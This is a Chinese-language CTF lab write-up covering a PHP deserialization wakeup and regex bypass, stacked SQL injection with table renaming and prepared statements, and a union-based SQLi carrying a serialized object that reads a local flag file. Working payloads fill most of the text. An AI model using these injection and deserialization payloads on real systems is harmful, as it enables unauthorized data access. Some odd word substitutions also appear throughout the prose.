这道标题构造一下我们的poc:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} wakeup绕过
修改反序列化串的对象属性个数,使之大于真实属性个数即可。
构造POC如下:O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
然后第二个是绕过preg_match的正则表达式/[oc]:\d+:/i表示匹配恣意个位于开头的 o 或 c 字符,紧接着一个冒号,然后是一或多个数字,最后是一个冒号,不区分大小写。
即形如o:2:的字符串被过滤,使用 + 即可绕过(固定知识点)以是我们的poc:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
最后一步把他base64编码一下,poc:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
然后进行传参
十、supersqli
这道标题一看就知道是SQL注入
证明了闭合方式为单引号,继承测试字段数量(order by / group by ),经测试,字段数量为2。接着开始注数据库名,表名等关键信息:
首先尝试Union连合注入---构造payload: ?inject=1' union select database(),提交页面如下:页面回显提示我们后端代码对注入点inject提交的内容进行了过滤,将 select、where等一系列关键字进行了过滤,并无视大小写,制止了 大小写绕过 等绕过方法。以是Union连合注入不可行。
同时,观察到 show、from 等一些堆叠注入关键词没有被过滤,故尝试堆叠注入,构造payload:?inject=1';show databases; --+ ,提交页面如下: 发现回显数据库信息,证明堆叠注入可行。继承注表名,构造payload:?inject=1';show tables' --+,提交页面如下:
然后下一步就说爆库了,首先查察表 words,发现列名分别为 id 和 data,猜测表words可能为默认查询的表,构造payload:?inject=1'or 1=1 #进行验证: 观察到回显内容格式均为 id + data 的格式,证明表 words 为默认查询的表。 继承查询 表1919810931114514中的列,构造雷同payload:?inject=1';show columns from `1919810931114514`; #,提交查询页面如下:
然后我们发现这个flag再这个1919的表内里。
已知表 words 为查询的默认表,则可以使用 rename 关键字将 表word改名为words,并将表 1919810931114514改名为 word,如许默认查询的表就酿成了原先的 表1919810931114514,并将列 flag 改为 id,如许进行查询则可得到 flag 的值:
; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
拆开:
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
方法一:
根据在words表里发现id字段与查询框里的出的数据类型雷同,一个数字,一个字符串,以是猜测默认查询的就是words表,inject(搜刮框中)值应该赋给了id
使用:我们可以将含有flag字段的表定名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)
方法二、预编译
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
复制代码
这道标题不是很懂,后面再来学习这个知识点 十一、My PHP Website
打开就一个网站的界面
用kali扫除git泄露,直接进到内里去
进入Githack-master文件目录,打开终端输入以下命令获取源码
然后有一个index.php的源码
blob 2199 <?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
http://61.147.171.105:55570/view.php?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
复制代码
开头为注册用户,中心为注册时设置的暗码被加密,末尾为序列化内容,这里单独吧data列出
是个序列化后的UserInfo对象,下意识想起之前那份备份文件也界说的类为UserInfo,最开始时的用户界面为no=1时,靶场根据users表查询no=1进行渲染的页面。可以猜测,和数据库表中的字段no,username,passwd,data顺序相似,第四个字段应该就是data。思考一下,一共有4个字段,select的时候如果将第四个字段插入data序列化后的内容,是否就回显了我们注册的admin用户和他的blog呢?以是我们就构造一下传参
1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:" file:///var/www/html/flag.php";}' from users#